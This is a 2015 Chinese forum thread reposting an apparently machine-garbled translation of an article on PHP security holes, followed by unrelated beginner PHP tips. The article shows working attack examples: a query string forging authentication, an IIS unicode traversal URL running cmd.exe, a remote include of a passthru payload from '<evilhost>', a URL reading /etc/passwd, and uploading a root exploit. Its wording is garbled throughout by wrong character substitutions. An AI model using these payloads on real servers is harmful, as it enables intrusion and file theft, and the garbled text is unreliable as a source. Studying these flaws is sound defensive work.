仓酷云

标题: PHP网页设计若何对PHP法式中的罕见破绽停止进击（上... [打印本页]

作者: 第二个灵魂 时间: 2015-2-4 00:26
标题: PHP网页设计若何对PHP法式中的罕见破绽停止进击（上...
我先把我自己学习PHP的过程做一下概括：法式|进击因为原文对照长，并且有相当一局部是引见文章的后台或PHP的基本常识，没有触及到PHP平安方面的内容，因而我没有翻译。假如你想懂得这方面的常识，请参考原文。

文章次要从全局变量，近程文件，文件上载，库文件，Session文件，数据类型和轻易失足的函数这几个方面剖析了PHP的平安性，而且对若何加强PHP的平安性提出了一些有效的建议。

好了，空话少说，咱们言归正传！

[全局变量]
PHP中的变量不需求事前声明，它们会在第一次利用时主动创立，它们的类型也不需求指定，它们会依据高低文情况主动肯定。从法式员的角度来看，这无疑是一种极为便利的处置办法。很明显，这也是疾速开辟言语的一个很有效的特色。一旦一个变量被创立了，就能够在法式中的任何中央利用。这个特色招致的了局就是法式员很少初始化变量，究竟，当它们第一次创立时，他们是空的。

很明显，基于PHP的使用法式的主函数普通都是承受用户的输出（次要是表单变量，上载文件和Cookie等），然后对输出数据停止处置，然后把了局前往到客户端阅读器。为了使PHP代码会见用户的输出尽量轻易，实践上PHP是把这些输出数据看做全局变量来处置的。

例如：

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

很明显，这会显示一个文本框和提交按钮。当用户点击提交按钮时，“test.php”会处置用户的输出，当“test.php”运转时，“$hello”会包括用户在文本框输出的数据。从这里咱们应当看出，进击者可以依照本人的志愿创立恣意的全局变量。假如进击者不是经由过程表单输出来挪用“test.php”，而是直接在阅读器地址栏输出http://server/test.php?hello=hi&setup=no，那末，不止是“$hello”被创立，“$setup”也被创立了。

译者注：这两种办法也就是咱们凡是说的“POST”和“GET”办法。
上面的用户认证代码表露了PHP的全局变量所招致的平安成绩：

<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

下面的代码起首反省用户的暗码是不是为“hello”，假如婚配的话，设置“$auth”为“1”，即经由过程认证。以后假如“$suth”为“1”的话，就会显示一些主要信息。

外表看起来是准确的，并且咱们中有相当一局部人是如许做的，然而这段代码犯了想固然的毛病，它假定“$auth”在没有设置值的时分是空的，却没有想到进击者可以创立任何全局变量并赋值，经由过程相似“http://server/test.php?auth=1”的办法，咱们完整可以棍骗这段代码，使它信任咱们是已认证过的。

因而，为了进步PHP法式的平安性，咱们不克不及信任任何没有明白界说的变量。假如法式中的变量良多的话，这可是一项十分艰难的义务。

一种经常使用的回护体例就是反省数组HTTP_GET[]或POST_VARS[]中的变量，这依附于咱们的提交体例（GET或POST）。当PHP设置装备摆设为翻开“track_vars”选项的话（这是缺省值），用户提交的变量就能够在全局变量和下面提到的数组中取得。

然而值得申明的是，PHP有四个分歧的数组变量用来处置用户的输出。HTTP_GET_VARS数组用来处置GET体例提交的变量，HTTP_POST_VARS数组用于处置POST体例提交的变量，HTTP_COOKIE_VARS数组用于处置作为cookie头提交的变量，而关于HTTP_POST_FILES数组（对照新的PHP才供应），则完整是用户用来提交变量的一种可选体例。用户的一个恳求可以很轻易的把变量存在这四个数组中，因而一个平安的PHP法式应当反省这四个数组。

[近程文件]
PHP是一种具有丰厚特征的言语，供应了大批的函数，使编程者完成某个功效很轻易。然而从平安的角度来看，功效越多，要包管它的平安性就越难，近程文件就是申明这个成绩的一个很好的例子：

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>

下面的剧本试图翻开文件“$filename”，假如掉败就显示毛病信息。很分明，假如咱们可以指定“$filename”的话，就可以使用这个剧本阅读体系中的任何文件。然而，这个剧本还存在一个不太分明的特征，那就是它可以从任何其它WEB或FTP站点读取文件。实践上，PHP的大多半文件处置函数对近程文件的处置是通明的。

例如：
假如指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则下面的代码实践上是使用主机target上的unicode破绽，履行了dir号令。

这使得撑持近程文件的include()，require()，include_once()和require_once()在高低文情况中变得更风趣。这些函数次要功效是包括指定文件的内容，而且把它们依照PHP代码注释，次要是用在库文件上。

例如：
<?php
include($libdir . "/languages.php");
?>

上例中“$libdir”通常为一个在履行代码前已设置好的途径，假如进击者可以使得“$libdir”没有被设置的话，那末他就能够改动这个途径。然而进击者其实不能做任何工作，由于他们只能在他们指定的途径中会见文件languages.php（perl中的“Poison null byte”进击对PHP没有感化）。然而因为有了对近程文件的撑持，进击者就能够做任何工作。例如，进击者可以在某台办事器上放一个文件languages.php，包括以下内容：

<?php
passthru("/bin/ls /etc");
?>

然后把“$libdir”设置为“http://<evilhost>/”，如许咱们就能够在方针主机上履行下面的进击代码，“/etc”目次的内容作为了局前往到客户的阅读器中。

需求注重的是，进击办事器（也就是evilhost）应当不克不及履行PHP代码，不然进击代码会在进击办事器，而不是方针办事器履行，假如你想懂得详细的手艺细节，请参考：http://www.securereality.com.au/sradv00006.txt

[文件上载]
PHP主动撑持基于RFC 1867的文件上载，咱们看上面的例子：

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

下面的代码让用户从当地机械选择一个文件，当点击提交后，文件就会被上载到办事器。这明显是很有效的功效，然而PHP的呼应体例使这项功效变的不平安。当PHP第一次接到这类恳求，乃至在它入手下手解析被挪用的PHP代码之前，它会先承受近程用户的文件，反省文件的长度是不是超越“$MAX_FILE_SIZE variable”界说的值，假如经由过程这些测试的话，文件就会被存在当地的一个一时目次中。

因而，进击者可以发送恣意文件给运转PHP的主机，在PHP法式还没有决意是不是承受文件上载时，文件已被存在办事器上了。

这里我就不会商使用文件上载来对办事器停止DOS进击的能够性了。

让咱们思索一下处置文件上载的PHP法式，正如咱们下面说的，文件被吸收而且存在办事器上（地位是在设置装备摆设文件中指定的，通常为/tmp），扩大名通常为随机的，相似“phpxXuoXG”的模式。PHP法式需求上载文件的信息以便处置它，这可以经由过程两种体例，一种体例是在PHP 3中已利用的，另外一种是在咱们对之前的办法提出平安通知布告后引入的。

然而，咱们可以一定的说，成绩仍是存在的，大多半PHP法式仍是利用老的体例来处置上载文件。PHP设置了四个全局变量来描写上载文件，好比说下面的例子：

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然后PHP法式入手下手处置依据“$hello”指定的文件，成绩在于“$hello”纷歧定是一个PHP设置的变量，任何近程用户都可以指定它。假如咱们利用上面的体例：

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就招致了上面的PHP全局变量（固然POST体例也能够（乃至是Cookie））：

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

下面的表双数据正好知足了PHP法式所希冀的变量，然而这时候PHP法式不再处置上载的文件，而是处置“/etc/passwd”（凡是会招致内容表露）。这类进击可以用于表露任何敏感文件的内容。

我在后面已说了，新版本的PHP利用HTTP_POST_FILES[]来决意上载文件，同时也供应了良多函数来处理这个成绩，例若有一个函数用来判别某个文件是否是实践上载的文件。这些函数很好的处理了这个成绩，然而实践上一定有良多PHP法式依然利用旧的办法，很轻易遭到这类进击。

作为文件上载的进击办法的一个变种，咱们看一下上面的一段代码：

<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

假如进击者可以掌握“$theme”的话，很明显它可以使用“$theme”来读取近程体系上的任何文件。进击者的终究方针是在近程办事器上履行恣意指令，然而他没法利用近程文件，因而，他必需得在近程办事器上创立一个PHP文件。这乍看起来好象是不成能的，然而文件上载帮了咱们这个忙，假如进击者先在当地机械上创立一个包括PHP代码的文件，然后创立一个包括名为“theme”的文件域的表单，最初用这个表单经由过程文件上载把创立的包括PHP代码的文件提交给下面的代码，PHP就会把进击者提交的文件保留起来，并把“$theme”的值设置为进击者提交的文件，如许file_exists()函数会反省经由过程，进击者的代码也将履行。

取得履行恣意指令的才能以后，进击者明显想提拔权限或是扩展战果，而这又需求一些办事器上没有的东西集，而文件上载又一次帮了咱们这个忙。进击者可使用文件上载功效上载东西，把她们存在办事器上，然后使用他们履行指令的才能，利用chmod()改动文件的权限，然后履行。例如：进击者可以绕过防火墙或IDS上载一个当地root进击法式，然后履行，如许就取得了root权限。

<未完待续> 培训的第一阶段，学习的是HTML/CSS/JavaScript基础。

作者: 再现理想 时间: 2015-2-4 13:07
有位前辈曾经跟我说过，phper 至少要掌握200个函数编起程序来才能顺畅点，那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册（至少array函数和string函数是要记牢的）。

作者: 爱飞 时间: 2015-2-6 16:46
当然这种网站的会员费就几十块钱。

作者: 只想知道 时间: 2015-2-17 08:54
爱上php，他也会爱上你。

作者: 小魔女 时间: 2015-3-5 18:46
曾经犯过一个很低级的错误，我在文件命名的时候用了一个横线\\\\\\\'-\\\\\\\' 号，结果找了好几个小时的错误，事实是命名的时候是不能用横线 \\\\\\\'-\\\\\\\' 的，应该用的是下划线 \\\\\\\'_\\\\\\\' ;

作者: 柔情似水 时间: 2015-3-6 17:28
再就是混迹于论坛啦，咱们的phpchina的论坛就很强大，提出的问题一般都是有达人去解答的，以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100，javaeye也是很不错的。

作者: 活着的死人 时间: 2015-3-13 00:57
写js我最烦的就是 ie 和 firefox下同样的代码结果显示的结果千差万别，还是就是最好不要用遨游去调试，因为有时候遨游是禁用js的，有可能代码是争取结果被遨游折腾的认为是代码写错。

作者: 简单生活 时间: 2015-3-16 06:38
当然这种网站的会员费就几十块钱。

作者: 若天明 时间: 2015-3-20 01:03
说php的话，首先得提一下数组，开始的时候我是最烦数组的，总是被弄的晕头转向，不过后来呢，我觉得数组里php里最强大的存储方法，所以建议新手们要学好数组。

作者: 精灵巫婆 时间: 2015-3-22 21:10
建数据库表的时候，int型要输入长度的，其实是个摆设的输入几位都没影响的，只要大于4就行，囧。

作者: 海妖 时间: 2015-4-10 17:16
最后祝愿，php会给你带来快乐的同时你也会给他带来快乐。

作者: 谁可相欹 时间: 2015-4-18 16:04
使用 jquery 等js框架的时候，要随时注意浏览器的更新情况，不然很容易发生框架不能使用。

作者: 再见西城 时间: 2015-4-20 03:33
建数据库表的时候，int型要输入长度的，其实是个摆设的输入几位都没影响的，只要大于4就行，囧。

作者: 飘飘悠悠 时间: 2015-4-27 12:30
我还是推荐用firefox ，配上firebug 插件调试js能省下不受时间。谷歌的浏览器最好也不少用，因为谷歌的大侠们实在是太天才啦，把一些原来的js代码加了一些特效。

作者: 飘灵儿 时间: 2015-5-1 15:06
要进行开发，搭建环境是首先需要做的事，windows下面我习惯把环境那个安装在C盘下面，因为我配的环境经常出现诡异事件，什么事都没做环境有的时候就不能用啦。

作者: 因胸联盟 时间: 2015-6-12 02:33
在学习的过程中不能怕麻烦，不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境，安装很方便，使用起来也很稳定、

作者: 变相怪杰 时间: 2015-6-22 06:53
基础有没有对学习php没有太大区别，关键是兴趣。

作者: 莫相离 时间: 2015-7-3 00:16
建议加几个专业的phper的群，当然啦需要说话的人多，一处一点问题能有人回答你的，当然啦要让人回答你的问题，平时就得躲在里面聊天，大家混熟啦，愿意回答你问题的人自然就多啦。

作者: 不帅 时间: 2015-7-11 08:58
在我安装pear包的时候老是提示，缺少某某文件，才发现那群extension 的排列是应该有一点的顺序，而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去，只留下我需要使用的扩展。

作者: 若相依 时间: 2015-7-13 07:10
先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。

作者: 小妖女 时间: 2015-7-13 21:46
Apache不是非得用80或者8080端口的，我刚开始安得时候就是80端口老占用，就用了个 81端口，结果照常，就是输localhost的时候，应该输入为 localhost:81

欢迎光临仓酷云 (http://ckuyun.com/)